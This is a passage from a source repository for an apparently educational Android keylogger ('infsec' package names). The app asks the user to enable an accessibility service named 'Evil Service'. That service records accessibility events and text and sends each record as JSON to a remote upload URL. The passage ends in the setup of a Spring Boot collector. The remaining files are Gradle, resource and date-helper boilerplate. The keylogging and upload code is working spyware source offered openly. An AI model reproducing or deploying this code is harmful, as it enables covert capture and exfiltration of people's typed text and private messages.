result = new LinkedHashMap<>();
78 | result.put("uuid", keyLog.getUuid());
79 | result.put("keyLogDate", DateTimeHelper.getTheDateInString(keyLog.getKeyLogDate()));
80 | result.put("accessibilityEvent", keyLog.getAccessibilityEvent());
81 | result.put("msg", keyLog.getMsg());
82 | return result;
83 | }
84 |
85 |
86 | private void sendLog(String uploadUrl, KeyLog keyLog) {
87 |
88 | try {
89 | RequestQueue requestQueue = Volley.newRequestQueue(this);
90 | JsonObjectRequest keyLogRequest = new JsonObjectRequest(uploadUrl
91 | , new JSONObject(getMap(keyLog))
92 | , this::onResponse
93 | , this::onErrorResponse
94 | );
95 | Log.i(LOG_TAG, String.valueOf(keyLogRequest.getHeaders()));
96 | Log.i(LOG_TAG, new String(keyLogRequest.getBody()));
97 | requestQueue.add(keyLogRequest);
98 | } catch (AuthFailureError | IllegalAccessException authFailureError) {
99 | authFailureError.printStackTrace();
100 | }
101 | }
102 |
103 | private void onResponse(JSONObject response) {
104 | Log.i(LOG_TAG, "Response is : " + response);
105 | }
106 |
107 | private void onErrorResponse(VolleyError error) {
108 | Log.e(LOG_TAG, error.getMessage());
109 | }
110 |
111 | @Override
112 | public void onInterrupt() {
113 |
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogapp;
2 |
3 | import android.app.AlertDialog;
4 | import android.content.DialogInterface;
5 | import android.content.Intent;
6 | import android.content.pm.PackageManager;
7 | import android.os.AsyncTask;
8 | import android.os.Build;
9 | import android.os.Looper;
10 | import android.provider.Settings;
11 | import android.support.design.widget.Snackbar;
12 | import android.support.v4.app.ActivityCompat;
13 | import android.support.v4.content.ContextCompat;
14 | import android.support.v7.app.AppCompatActivity;
15 | import android.os.Bundle;
16 | import android.util.Log;
17 | import android.view.View;
18 | import android.widget.Button;
19 | import com.maemresen.infsec.keylogapp.util.Helper;
20 |
21 | import java.io.DataOutputStream;
22 |
23 | import static android.Manifest.permission.ACCESS_FINE_LOCATION;
24 | import static android.Manifest.permission.INTERNET;
25 | import static android.Manifest.permission_group.CAMERA;
26 |
27 | public class MainActivity extends AppCompatActivity {
28 |
29 | private final static String LOG_TAG = Helper.getLogTag(MainActivity.class);
30 |
31 | private Button button;
32 |
33 | @Override
34 | protected void onCreate(Bundle savedInstanceState) {
35 | super.onCreate(savedInstanceState);
36 | setContentView(R.layout.activity_main);
37 | if (!checkPermission()) {
38 | requestPermission();
39 | }
40 | button = findViewById(R.id.btn_settings);
41 | button.setOnClickListener(v -> {
42 | Intent openSettings = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
43 | openSettings.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
44 | startActivity(openSettings);
45 | });
46 | }
47 |
48 | private static final int PERMISSION_REQUEST_CODE = 200;
49 |
50 | private boolean checkPermission() {
51 | int result = ContextCompat.checkSelfPermission(getApplicationContext(), INTERNET);
52 | return result == PackageManager.PERMISSION_GRANTED;
53 | }
54 |
55 | private void requestPermission() {
56 | ActivityCompat.requestPermissions(this, new String[]{INTERNET}, PERMISSION_REQUEST_CODE);
57 | }
58 |
59 | @Override
60 | public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
61 | switch (requestCode) {
62 | case PERMISSION_REQUEST_CODE:
63 | if (grantResults.length > 0) {
64 | boolean internetAccepted = grantResults[0] == PackageManager.PERMISSION_GRANTED;
65 | if (!internetAccepted) {
66 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
67 | if (shouldShowRequestPermissionRationale(ACCESS_FINE_LOCATION)) {
68 | showMessageOKCancel("You need to allow access to both the permissions",
69 | (dialog, which) -> {
70 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
71 | requestPermissions(new String[]{INTERNET},
72 | PERMISSION_REQUEST_CODE);
73 | }
74 | });
75 | return;
76 | }
77 | }
78 |
79 | }
80 | }
81 |
82 |
83 | break;
84 | }
85 | }
86 |
87 | private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) {
88 | new AlertDialog.Builder(MainActivity.this)
89 | .setMessage(message)
90 | .setPositiveButton("OK", okListener)
91 | .setNegativeButton("Cancel", null)
92 | .create()
93 | .show();
94 | }
95 |
96 |
97 | }
98 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/model/KeyLog.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogapp.model;
2 |
3 | import java.util.Date;
4 |
5 | /**
6 | * @author Emre Sen, 14.05.2019
7 | * @contact maemresen07@gmail.com
8 | */
9 | public class KeyLog {
10 |
11 | private String uuid;
12 | private Date keyLogDate;
13 | private String accessibilityEvent;
14 | private String msg;
15 |
16 |
17 | public String getUuid() {
18 | return uuid;
19 | }
20 |
21 | public void setUuid(String uuid) {
22 | this.uuid = uuid;
23 | }
24 |
25 | public Date getKeyLogDate() {
26 | return keyLogDate;
27 | }
28 |
29 | public void setKeyLogDate(Date keyLogDate) {
30 | this.keyLogDate = keyLogDate;
31 | }
32 |
33 | public String getAccessibilityEvent() {
34 | return accessibilityEvent;
35 | }
36 |
37 | public void setAccessibilityEvent(String accessibilityEvent) {
38 | this.accessibilityEvent = accessibilityEvent;
39 | }
40 |
41 | public String getMsg() {
42 | return msg;
43 | }
44 |
45 | public void setMsg(String msg) {
46 | this.msg = msg;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/util/DateTimeHelper.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogapp.util;
2 |
3 | import java.text.ParseException;
4 | import java.text.SimpleDateFormat;
5 | import java.util.ArrayList;
6 | import java.util.Calendar;
7 | import java.util.Date;
8 | import java.util.List;
9 | import java.util.Locale;
10 |
11 | /**
12 | * Utility class for dateTime operations...
13 | *
14 | * @author mehmetkarakoc
15 | */
16 | public class DateTimeHelper {
17 |
18 | /**
19 | * DateTime format for conversion... "'T'HH:mm:ss" may be added for the time
20 | * part...
21 | *
22 | * dateFormat definition for the calendar...
23 | *
24 | * Date date = formatter.parse(dateInString);
25 | *
26 | * "EEE dd/MM/yyyy" --- "dd/MM/yyyy"
27 | *
28 | * throws ParseException {
29 | */
30 | private final static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
31 |
32 | /**
33 | * calendar definition...
34 | */
35 | private final static Calendar calendar = Calendar.getInstance(new Locale("tr"));
36 |
37 | /**
38 | * retrieve today
39 | *
40 | * @return current day
41 | */
42 | public static Date getCurrentDay() {
43 |
44 | Date date = new Date();
45 | simpleDateFormat.format(date);
46 | return date;
47 | }
48 |
49 | /**
50 | * Get the date as a string value...
51 | *
52 | * @param baseDate given date
53 | * @return date in string format
54 | */
55 | public static String getTheDateInString(Date baseDate) {
56 |
57 | if (baseDate == null) {
58 | return "";
59 | }
60 |
61 | String dateString = simpleDateFormat.format(baseDate);
62 |
63 | return dateString == null ? "" : dateString;
64 | }
65 |
66 | public static Date getTheDateInDate(String baseDate) {
67 |
68 | if (baseDate == null) {
69 | return new Date();
70 | }
71 |
72 | Date date = null;
73 |
74 | try {
75 | date = simpleDateFormat.parse(baseDate);
76 |
77 | } catch (ParseException e) {
78 |
79 | e.printStackTrace();
80 | }
81 |
82 | return date == null ? new Date() : date;
83 | }
84 |
85 | /**
86 | * get the date for Monday in current week...
87 | *
88 | * @param date base date
89 | * @return first day of the week
90 | */
91 | public static Date getMondayOfTheWeek(Date date) {
92 | return getDayOfTheWeek(date, 1);
93 | }
94 |
95 | public static String getFirstDayOfWeek(Date date) {
96 | return getTheDateInString(getMondayOfTheWeek(date));
97 | }
98 |
99 | /**
100 | * get the date for Sunday in current week...
101 | *
102 | * @param date base date
103 | * @return last day of the week
104 | */
105 | public static Date getSundayOfTheWeek(Date date) {
106 | return getDayOfTheWeek(date, 7);
107 | }
108 |
109 | public static String getLastDayOfWeek(Date date) {
110 | return getTheDateInString(getSundayOfTheWeek(date));
111 | }
112 |
113 | /**
114 | * get Monday or Sunday of the current week using today...
115 | *
116 | * @param date
117 | * @param daySort
118 | * @return
119 | */
120 | private static Date getDayOfTheWeek(Date date, int daySort) {
121 |
122 | calendar.setTime(date);
123 |
124 | if (daySort == 1) {
125 |
126 | // Set the calendar to MONDAY of the current week
127 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
128 |
129 | } else if (daySort == 7) {
130 |
131 | // Set the calendar to SUNDAY of the current week
132 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
133 | calendar.add(Calendar.DAY_OF_WEEK, 1);
134 | }
135 |
136 | return calendar.getTime();
137 | }
138 |
139 | /**
140 | * get all the dates within this week starting on Monday...
141 | *
142 | * @return the days inside of the current week that we are in
143 | */
144 | public static List getAllDaysOfTheWeek() {
145 |
146 | List dateList = new ArrayList();
147 |
148 | calendar.setTime(new Date()); // What day is today?
149 |
150 | /**
151 | * from what day...
152 | */
153 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
154 | dateList.add(getTheDateInString(calendar.getTime()));
155 |
156 | /**
157 | * until the day Calendar.SUNDAY...
158 | */
159 | for (int i = 1; i <= 6; i++) {
160 |
161 | calendar.add(Calendar.DAY_OF_WEEK, 1);
162 | dateList.add(getTheDateInString(calendar.getTime()));
163 | }
164 |
165 | return dateList;
166 | }
167 |
168 | /* Akif - FormattedDateBuilder */
169 |
170 | public static String getFirstDayOfMonth(Date d) {
171 | Calendar calendar = Calendar.getInstance();
172 | calendar.setTime(d);
173 | calendar.set(Calendar.DAY_OF_MONTH, 1);
174 | Date dddd = calendar.getTime();
175 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
176 | return sdf1.format(dddd);
177 | }
178 |
179 | public static String getLastDayOfMonth(Date d) {
180 | Calendar calendar = Calendar.getInstance();
181 | calendar.setTime(d);
182 | calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));
183 | Date dddd = calendar.getTime();
184 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
185 | return sdf1.format(dddd);
186 | }
187 |
188 | public static int getNumericLastDayOfMonth(Date date) {
189 | Calendar calendar = Calendar.getInstance();
190 | calendar.setTime(date);
191 | return calendar.getActualMaximum(Calendar.DAY_OF_MONTH);
192 | }
193 |
194 | public static int getCurrentWeekNumber() {
195 | return Calendar.getInstance().get(Calendar.WEEK_OF_YEAR);
196 | }
197 |
198 | public static int getYear() {
199 | return Calendar.getInstance().get(Calendar.YEAR);
200 | }
201 | }
--------------------------------------------------------------------------------
/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/util/Helper.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogapp.util;
2 |
3 | import java.util.UUID;
4 |
5 | /**
6 | * @author Emre Sen, 14.05.2019
7 | * @contact maemresen07@gmail.com
8 | */
9 | public class Helper {
10 |
11 | private final static String APP_UUID = UUID.randomUUID().toString();
12 | ;
13 | private final static String LOG_TAG_PREFIX = "KeyLogger";
14 |
15 | public static String getLogTag(Class> clazz) {
16 | return String.format("%s-%s", LOG_TAG_PREFIX, clazz.getSimpleName());
17 | }
18 |
19 | public static String getUuid() {
20 | return APP_UUID;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
12 |
13 |
19 |
22 |
25 |
26 |
27 |
28 |
34 |
35 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
10 |
15 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
171 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
16 |
25 |
32 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #008577
4 | #00574B
5 | #D81B60
6 |
7 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | Keylogapp
3 | Evil Service
4 |
5 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/keylogapp/app/src/main/res/xml/accessibility_service_config.xml:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/keylogapp/app/src/test/java/com/maemresen/infsec/keylogapp/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogapp;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/keylogapp/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 | repositories {
5 | google()
6 | jcenter()
7 |
8 | }
9 | dependencies {
10 | classpath 'com.android.tools.build:gradle:3.4.0'
11 |
12 | // NOTE: Do not place your application dependencies here; they belong
13 | // in the individual module build.gradle files
14 | }
15 | }
16 |
17 | allprojects {
18 | repositories {
19 | google()
20 | jcenter()
21 |
22 | }
23 | }
24 |
25 | task clean(type: Delete) {
26 | delete rootProject.buildDir
27 | }
28 |
--------------------------------------------------------------------------------
/keylogapp/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | org.gradle.jvmargs=-Xmx1536m
10 | # When configured, Gradle will run in incubating parallel mode.
11 | # This option should only be used with decoupled projects. More details, visit
12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
13 | # org.gradle.parallel=true
14 |
15 |
16 |
--------------------------------------------------------------------------------
/keylogapp/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/keylogapp/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Sat May 11 05:57:44 EET 2019
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-5.1.1-all.zip
7 |
--------------------------------------------------------------------------------
/keylogapp/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Attempt to set APP_HOME
10 | # Resolve links: $0 may be a link
11 | PRG="$0"
12 | # Need this for relative symlinks.
13 | while [ -h "$PRG" ] ; do
14 | ls=`ls -ld "$PRG"`
15 | link=`expr "$ls" : '.*-> \(.*\)$'`
16 | if expr "$link" : '/.*' > /dev/null; then
17 | PRG="$link"
18 | else
19 | PRG=`dirname "$PRG"`"/$link"
20 | fi
21 | done
22 | SAVED="`pwd`"
23 | cd "`dirname \"$PRG\"`/" >/dev/null
24 | APP_HOME="`pwd -P`"
25 | cd "$SAVED" >/dev/null
26 |
27 | APP_NAME="Gradle"
28 | APP_BASE_NAME=`basename "$0"`
29 |
30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
31 | DEFAULT_JVM_OPTS=""
32 |
33 | # Use the maximum available, or set MAX_FD != -1 to use that value.
34 | MAX_FD="maximum"
35 |
36 | warn () {
37 | echo "$*"
38 | }
39 |
40 | die () {
41 | echo
42 | echo "$*"
43 | echo
44 | exit 1
45 | }
46 |
47 | # OS specific support (must be 'true' or 'false').
48 | cygwin=false
49 | msys=false
50 | darwin=false
51 | nonstop=false
52 | case "`uname`" in
53 | CYGWIN* )
54 | cygwin=true
55 | ;;
56 | Darwin* )
57 | darwin=true
58 | ;;
59 | MINGW* )
60 | msys=true
61 | ;;
62 | NONSTOP* )
63 | nonstop=true
64 | ;;
65 | esac
66 |
67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
68 |
69 | # Determine the Java command to use to start the JVM.
70 | if [ -n "$JAVA_HOME" ] ; then
71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
72 | # IBM's JDK on AIX uses strange locations for the executables
73 | JAVACMD="$JAVA_HOME/jre/sh/java"
74 | else
75 | JAVACMD="$JAVA_HOME/bin/java"
76 | fi
77 | if [ ! -x "$JAVACMD" ] ; then
78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
79 |
80 | Please set the JAVA_HOME variable in your environment to match the
81 | location of your Java installation."
82 | fi
83 | else
84 | JAVACMD="java"
85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
86 |
87 | Please set the JAVA_HOME variable in your environment to match the
88 | location of your Java installation."
89 | fi
90 |
91 | # Increase the maximum file descriptors if we can.
92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
93 | MAX_FD_LIMIT=`ulimit -H -n`
94 | if [ $? -eq 0 ] ; then
95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
96 | MAX_FD="$MAX_FD_LIMIT"
97 | fi
98 | ulimit -n $MAX_FD
99 | if [ $? -ne 0 ] ; then
100 | warn "Could not set maximum file descriptor limit: $MAX_FD"
101 | fi
102 | else
103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
104 | fi
105 | fi
106 |
107 | # For Darwin, add options to specify how the application appears in the dock
108 | if $darwin; then
109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
110 | fi
111 |
112 | # For Cygwin, switch paths to Windows format before running java
113 | if $cygwin ; then
114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
116 | JAVACMD=`cygpath --unix "$JAVACMD"`
117 |
118 | # We build the pattern for arguments to be converted via cygpath
119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
120 | SEP=""
121 | for dir in $ROOTDIRSRAW ; do
122 | ROOTDIRS="$ROOTDIRS$SEP$dir"
123 | SEP="|"
124 | done
125 | OURCYGPATTERN="(^($ROOTDIRS))"
126 | # Add a user-defined pattern to the cygpath arguments
127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
129 | fi
130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
131 | i=0
132 | for arg in "$@" ; do
133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
135 |
136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
138 | else
139 | eval `echo args$i`="\"$arg\""
140 | fi
141 | i=$((i+1))
142 | done
143 | case $i in
144 | (0) set -- ;;
145 | (1) set -- "$args0" ;;
146 | (2) set -- "$args0" "$args1" ;;
147 | (3) set -- "$args0" "$args1" "$args2" ;;
148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
154 | esac
155 | fi
156 |
157 | # Escape application args
158 | save () {
159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
160 | echo " "
161 | }
162 | APP_ARGS=$(save "$@")
163 |
164 | # Collect all arguments for the java command, following the shell quoting and substitution rules
165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
166 |
167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
169 | cd "$(dirname "$0")"
170 | fi
171 |
172 | exec "$JAVACMD" "$@"
173 |
--------------------------------------------------------------------------------
/keylogapp/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | set DIRNAME=%~dp0
12 | if "%DIRNAME%" == "" set DIRNAME=.
13 | set APP_BASE_NAME=%~n0
14 | set APP_HOME=%DIRNAME%
15 |
16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
17 | set DEFAULT_JVM_OPTS=
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windows variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 |
53 | :win9xME_args
54 | @rem Slurp the command line arguments.
55 | set CMD_LINE_ARGS=
56 | set _SKIP=2
57 |
58 | :win9xME_args_slurp
59 | if "x%~1" == "x" goto execute
60 |
61 | set CMD_LINE_ARGS=%*
62 |
63 | :execute
64 | @rem Setup the command line
65 |
66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
67 |
68 | @rem Execute Gradle
69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
70 |
71 | :end
72 | @rem End local scope for the variables with windows NT shell
73 | if "%ERRORLEVEL%"=="0" goto mainEnd
74 |
75 | :fail
76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
77 | rem the _cmd.exe /c_ return code!
78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
79 | exit /b 1
80 |
81 | :mainEnd
82 | if "%OS%"=="Windows_NT" endlocal
83 |
84 | :omega
85 |
--------------------------------------------------------------------------------
/keylogapp/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------
/keylogweb/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | /target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 |
5 | ### STS ###
6 | .apt_generated
7 | .classpath
8 | .factorypath
9 | .project
10 | .settings
11 | .springBeans
12 | .sts4-cache
13 |
14 | ### IntelliJ IDEA ###
15 | .idea
16 | *.iws
17 | *.iml
18 | *.ipr
19 |
20 | ### NetBeans ###
21 | /nbproject/private/
22 | /nbbuild/
23 | /dist/
24 | /nbdist/
25 | /.nb-gradle/
26 | /build/
27 |
28 | ### VS Code ###
29 | .vscode/
30 |
31 |
--------------------------------------------------------------------------------
/keylogweb/README.md:
--------------------------------------------------------------------------------
1 | # basic-keylogger-web
2 |
3 |
--------------------------------------------------------------------------------
/keylogweb/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 |
7 |
8 | org.springframework.boot
9 | spring-boot-starter-parent
10 | 2.1.4.RELEASE
11 |
12 |
13 |
14 |
15 |
16 | com.maemresen.infsec
17 | keylogweb
18 | 0.0.1-SNAPSHOT
19 | keylogweb
20 | Demo project for Spring Boot
21 |
22 |
23 |
24 |
25 | 1.8
26 |
27 |
28 |
29 |
30 |
31 |
32 | org.springframework.boot
33 | spring-boot-starter-data-jpa
34 |
35 |
36 |
37 |
38 | com.h2database
39 | h2
40 |
41 |
42 |
43 |
44 |
45 | org.springframework.boot
46 | spring-boot-starter-thymeleaf
47 |
48 |
